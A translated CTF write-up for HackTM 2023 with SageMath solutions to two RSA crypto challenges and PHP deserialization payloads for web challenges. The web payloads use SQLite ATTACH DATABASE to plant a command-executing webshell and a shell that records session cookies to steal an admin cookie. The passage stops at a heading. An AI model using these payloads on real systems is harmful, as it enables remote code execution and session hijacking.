廢文集中區

HackTM CTF 2023 WriteUps

發表於
分類於 CTF
中文版

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

Although we participated in nyahello and got fourth place this time, it was actually the result of participating together with ginoah and Jwang.

Crypto

d-phi-enc

Typical RSA, but with e=3e=3, and it also provided the ciphertext of dd and φ(n)\varphi(n).

Since ee is very small, the kk in ed=1+kφ(n)ed=1+k\varphi(n) won't be very large. According to tests, it will only be 1,21,2, so we can get the relationship between dd and φ(n)\varphi(n). After listing the two, we can solve it using gcd.

from Crypto.Util.number import *

e = 3
n = 24476383567792760737445809443492789639532562013922247811020136923589010741644222420227206374197451638950771413340924096340837752043249937740661704552394497914758536695641625358888570907798672682231978378863166006326676708689766394246962358644899609302315269836924417613853084331305979037961661767481870702409724154783024602585993523452019004639755830872907936352210725695418551084182173371461071253191795891364697373409661909944972555863676405650352874457152520233049140800885827642997470620526948414532553390007363221770832301261733085022095468538192372251696747049088035108525038449982810535032819511871880097702167
enc_d = 23851971033205169724442925873736356542293022048328010529601922038597156073052741135967263406916098353904000351147783737673489182435902916159670398843992581022424040234578709904403027939686144718982884200573860698818686908312301218022582288691503272265090891919878763225922888973146019154932207221041956907361037238034826284737842344007626825211682868274941550017877866773242511532247005459314727939294024278155232050689062951137001487973659259356715242237299506824804517181218221923331473121877871094364766799442907255801213557820110837044140390668415470724167526835848871056818034641517677763554906855446709546993374
enc_phi = 3988439673093122433640268099760031932750589560901017694612294237734994528445711289776522094320029720250901589476622749396945875113134575148954745649956408698129211447217738399970996146231987508863215840103938468351716403487636203224224211948248426979344488189039912815110421219060901595845157989550626732212856972549465190609710288441075239289727079931558808667820980978069512061297536414547224423337930529183537834934423347408747058506318052591007082711258005394876388007279867425728777595263973387697391413008399180495885227570437439156801767814674612719688588210328293559385199717899996385433488332567823928840559
enc_flag = 24033688910716813631334059349597835978066437874275978149197947048266360284414281504254842680128144566593025304122689062491362078754654845221441355173479792783568043865858117683452266200159044180325485093879621270026569149364489793568633147270150444227384468763682612472279672856584861388549164193349969030657929104643396225271183660397476206979899360949458826408961911095994102002214251057409490674577323972717947269749817048145947578717519514253771112820567828846282185208033831611286468127988373756949337813132960947907670681901742312384117809682232325292812758263309998505244566881893895088185810009313758025764867
P = Zmod(n)["sd"]
sd = P.gen()
sphi = (3 * sd - 1) / 2
f = sd ^ e - enc_d
g = sphi ^ e - enc_phi
while g:
    f, g = g, f % g
dd = ZZ(-f[0] / f[1])
flag = pow(enc_flag, dd, n)
print(long_to_bytes(flag))
# HackTM{Have you warmed up? If not, I suggest you consider the case where e=65537, although I don't know if it's solvable. Why did I say that? Because I have to make this flag much longer to avoid solving it just by calculating the cubic root of enc_flag.}

kaitenzushi

from math import gcd
from Crypto.Util.number import bytes_to_long, isPrime

from secret import p, q, x1, y1, x2, y2, e, flag

# properties of secret variables
assert isPrime(p) and p.bit_length() == 768
assert isPrime(q) and q.bit_length() == 768
assert isPrime(e) and e.bit_length() == 256
assert gcd((p - 1) * (q - 1), e) == 1
assert x1.bit_length() <= 768 and x2.bit_length() <= 768
assert y1.bit_length() <= 640 and y2.bit_length() <= 640
assert x1 ** 2 + e * y1 ** 2 == p * q
assert x2 ** 2 + e * y2 ** 2 == p * q

# encrypt flag by RSA, with xor
n = p * q
c = pow(bytes_to_long(flag) ^^ x1 ^^ y1 ^^ x2 ^^ y2, e, n)
print(f"{n = }")
print(f"{c = }")

# hints 🍣
F = RealField(1337)
x = vector(F, [x1, x2])
y = vector(F, [y1, y2])
# rotate
theta = F.random_element(min=-pi, max=pi)
R = matrix(F, [[cos(theta), -sin(theta)], [sin(theta), cos(theta)]])
x = R * x
y = R * y
print(f"{x = }")
print(f"{y = }")

First, the goal is obviously to find the values of x1,x2,y1,y2x_1, x_2, y_1, y_2. Since it was rotated by a rotation matrix, there must be an inverse rotation that can rotate x,yx, y back.

So we can set c,sc,s such that c2+s2=1c^2+s^2=1, and then use methods like x1c−x2s,x1s+x2cx_1 c - x_2 s, x_1 s + x_2 c to rotate it back. Using the two equations x2+ey2=nx^2+ey^2=n, we can get three equations in total, with only three unknowns c,s,ec,s,e. So we first use the resultant to get an equation with only ee and solve for ee.

However, there is a precision limit when it rotates, so I first calculate in Q\mathbb{Q} and then solve for the roots in RealField(1337 * 100), which can find several roots of about 256 bits, and those are the candidates for ee.

After that, we try each one and solve for c,sc,s, then solve for x1,x2,y1,y2x_1, x_2, y_1, y_2 to check if they meet the conditions.

The last step is to decompose from x12+ey12=n,x22+ey22=nx_1^2+ey_1^2=n, x_2^2+ey_2^2=n. I eliminated the ee term to get Congruence of squares, and then used gcd to finish.

from Crypto.Util.number import *

n = 990853953648382437503731888872568785013804329239290721076418541795771569507440261620612308640652961121590348037236708702361580700250705591203587939980126323233833431892076634892318387020242015741789265095380967467201291693288654956012435416445991341222221539511583706970342630678909437274145759598920314784293470918464283814408418704426938549136143925649863711450268227592032494660523680280136089617838412326902639568680941504799777445608524961048789627301462833
x = (
    9.93659400123277470926327676478883140697376509010297766512845139881487348637477791719517951397052010880811619509960535668814993293095146708957649613776125686226138447162258666762024346093786649228730054881453449071976210130217897905782845690384638460560301964009359233596889465133986468021963885911072779457835979983964294586954038412718305000570678333513135467257498071686562749882446495426493483289204e230,
    -1.20540611958254673086539287012513674064476659427085664430224592760592531301348857885707154893714440960111029743010026152632150988429192286517249118913535366887447596463819555191858702861383725310592687577510708180057642425944345656558038998574368521689142109798891989865473206201635908814994474491537093810680632691594902962470061189337645818851446622588020765058461348047229165216450857822980873846637e230,
)
y = (
    9.02899744041999015549480362358897037217795303901085937071039171882835297563545959015336648016772002396355451308252077767567617065937943765701645833054147976124287566465577491039263554806622908070370269238064956822205986576949383035741108310668397305286076364909407660314991847716094610949669608550117248147017329449889127749721988228613503029640191269319151291514601769696635252288607881829734506023770e191,
    2.82245306887391321716872765000993510002376761684498801971981175059452895101888694909625866715259620501905532121092041448909218372087306882364769769589919830746245167403566884491547911250261820661981772195356239940907493773024918284094309809964348965190219508641693641202225028173892050377939993484981988687903270349415531065381420872722271855270893103191849754016799925873189392548972340802542077635974e192,
)

rx1, rx2 = map(QQ, x)
ry1, ry2 = map(QQ, y)
P = QQ["c,s,e"]
c, s, e = P.gens()
xx1 = rx1 * c - rx2 * s
xx2 = rx1 * s + rx2 * c
yy1 = ry1 * c - ry2 * s
yy2 = ry1 * s + ry2 * c
eq1 = xx1 ^ 2 + e * yy1 ^ 2 - n
eq2 = xx2 ^ 2 + e * yy2 ^ 2 - n
eq3 = c ^ 2 + s ^ 2 - 1

f = eq1.sylvester_matrix(eq3, c).det()
g = eq2.sylvester_matrix(eq3, c).det()
h = f.sylvester_matrix(g, s).det().univariate_polynomial()
rs = h.roots(ring=RealField(1337 * 100), multiplicities=False)
print(rs)
e_cand = [round(r) for r in rs]


# e_cand = [87862026872437330910497185030697130217338158176670400983287915720335274355400,
#  87862026872437330910497185030697130217338158176670400983287915720335274355400,
#  111578009802636409437123757591617048189760145423552421418627338749835916561801,
#  111578009802636409437123757591617048189760145423552421418627338749835916561801,
#  136040713794094450815869383226050188669842227306130890897967195238883374113103,
#  136040713794094450815869383226050188669842227306130890897967195238883374113103,
#  200903536402584876156876716733848460295431647412230359371202416138893151947346,
#  200903536402584876156876716733848460295431647412230359371202416138893151947346]


def try_e(e):
    P = QQ["c,s"]
    c, s = P.gens()
    xx1 = rx1 * c - rx2 * s
    xx2 = rx1 * s + rx2 * c
    yy1 = ry1 * c - ry2 * s
    yy2 = ry1 * s + ry2 * c
    eq1 = xx1 ^ 2 + e * yy1 ^ 2 - n
    eq2 = xx2 ^ 2 + e * yy2 ^ 2 - n
    eq3 = c ^ 2 + s ^ 2 - 1
    f = eq1.sylvester_matrix(eq2, s).det().univariate_polynomial()
    ccc = f.roots(ring=RealField(1337), multiplicities=False)
    for c in ccc:
        s = sqrt(1 - c ^ 2)
        xx1 = round(rx1 * c - rx2 * s)
        xx2 = round(rx1 * s + rx2 * c)
        yy1 = round(ry1 * c - ry2 * s)
        yy2 = round(ry1 * s + ry2 * c)
        if (xx1 ^ 2 + e * yy1 ^ 2 == n) and (xx2 ^ 2 + e * yy2 ^ 2 == n):
            return xx1, xx2, yy1, yy2


for e in e_cand:
    r = try_e(e)
    if r:
        x1, x2, y1, y2 = map(abs, r)
        print("found")
        break

assert x1.bit_length() <= 768 and x2.bit_length() <= 768
assert y1.bit_length() <= 640 and y2.bit_length() <= 640
assert x1**2 + e * y1**2 == n
assert x2**2 + e * y2**2 == n

# eliminate e to get congruence of squares
# (x1*y2)^2 = (x2*y1)^2 (mod n)

p = gcd(x1 * y2 - x2 * y1, n)
q = n // p
assert p * q == n
d = inverse_mod(e, (p - 1) * (q - 1))
c = 312168688094168684887530746663711142224819184527420449851136749248641895825646649162310024737395663075921549510262779965673286770730468773215063305158197748549937395602308558217528064655976647148323981103647078862713773074121667862786737690376212246588956833193632937835958166526006128435536115531865213269197137648990987207140262543956087199861542889002996727146832659889656384027201202873352819689303456895088190857667281342371263570535523695457095802010885279
m = pow(c, d, n)
flag = m ^^ x1 ^^ y1 ^^ x2 ^^ y2
print(long_to_bytes(flag))
# HackTM{r07473_pr353rv35_50m37h1n6}

As for the last part, according to others, it can be explained as a homomorphism from Z[−e]\mathbb{Z}[\sqrt{-e}] to Z/nZ\mathbb{Z}/n\mathbb{Z}.

Finally, the official solution writeup is quite different from my approach XD.

Web

Blog / Blog Revenge

The two challenges are the same, one with a known flag path requiring LFI, and one requiring RCE. Since this challenge involves writing a PHP unserialization, I skipped LFI and went straight to RCE.

There are no gadgets directly for RCE, but there is a way to control the execution of SQLite commands, so we can use SQL to write a webshell.

<?php

class Query {
    public $query_string = "";
    public $args;

    public function __construct($query_string, $args) {
        $this->query_string = $query_string;
        $this->args = $args;
    }

    // for debugging purposes
    public function __toString() {
        return $this->query_string;
    }
}

class Conn {
    public $queries;

    public function __construct()
    {
        $this->queries = [];
        $this->queries[] = new Query("ATTACH DATABASE '/var/www/html/peko.php' AS lol;", []);
        $this->queries[] = new Query("CREATE TABLE lol.pwn (dataz text);", []);
        $this->queries[] = new Query('INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET[\'cmd\']); ?>");--', []);
    }

}

class Post {
    public $title;
    public $content;
    public $comments;

    public function __construct($title, $content) {
        $this->title = $title;
        $this->content = $content;
    }
}

class User {
    public $profile;

    public function __construct($profile)
    {
        $this->profile = $profile;        
    }
}

echo base64_encode(serialize(new User(new Post(new User(new Conn()), 1, 1))));

secrets

This challenge is obviously an xsleaks challenge. The main point is that the note search function redirects to different domains (secrets.wtl.pw, results.wtl.pw) on success and failure. I tried to use CSP violation to exploit it, but later encountered the problem that the admin bot timeout was too short (5s), and I didn't know how to handle it.

Later, I found out that the IPs of these two domains are the same as Blog / Blog Revenge (secrets.wtl.pw:30001 is accessible), and to share cookies, the cookie domain is .wtl.pw. So, just upload a webshell to record the session cookie to get the admin cookie, and then read the flag.

<?php

class Query {
    public $query_string = "";
    public $args;

    public function __construct($query_string, $args) {
        $this->query_string = $query_string;
        $this->args = $args;
    }

    // for debugging purposes
    public function __toString() {
        return $this->query_string;
    }
}

class Conn {
    public $queries;

    public function __construct()
    {
        $this->queries = [];
        $this->queries[] = new Query("ATTACH DATABASE '/var/www/html/peko.php' AS lol;", []);
        $this->queries[] = new Query("CREATE TABLE lol.pwn (dataz text);", []);
        $this->queries[] = new Query('INSERT INTO lol.pwn (dataz) VALUES ("<?php file_put_contents(\'/var/www/html/peko.txt\', $_COOKIE[\'session\']); ?>");--', []);
    }

}

class Post {
    public $title;
    public $content;
    public $comments;

    public function __construct($title, $content) {
        $this->title = $title;
        $this->content = $content;
    }
}

class User {
    public $profile;

    public function __construct($profile)
    {
        $this->profile = $profile;        
    }
}

echo base64_encode(serialize(new User(new Post(new User(new Conn()), 1, 1))));
// curl 'http://secrets.wtl.pw:30001' --cookie "user=$(php gen.php)"

Other legitimate xsleaks solutions: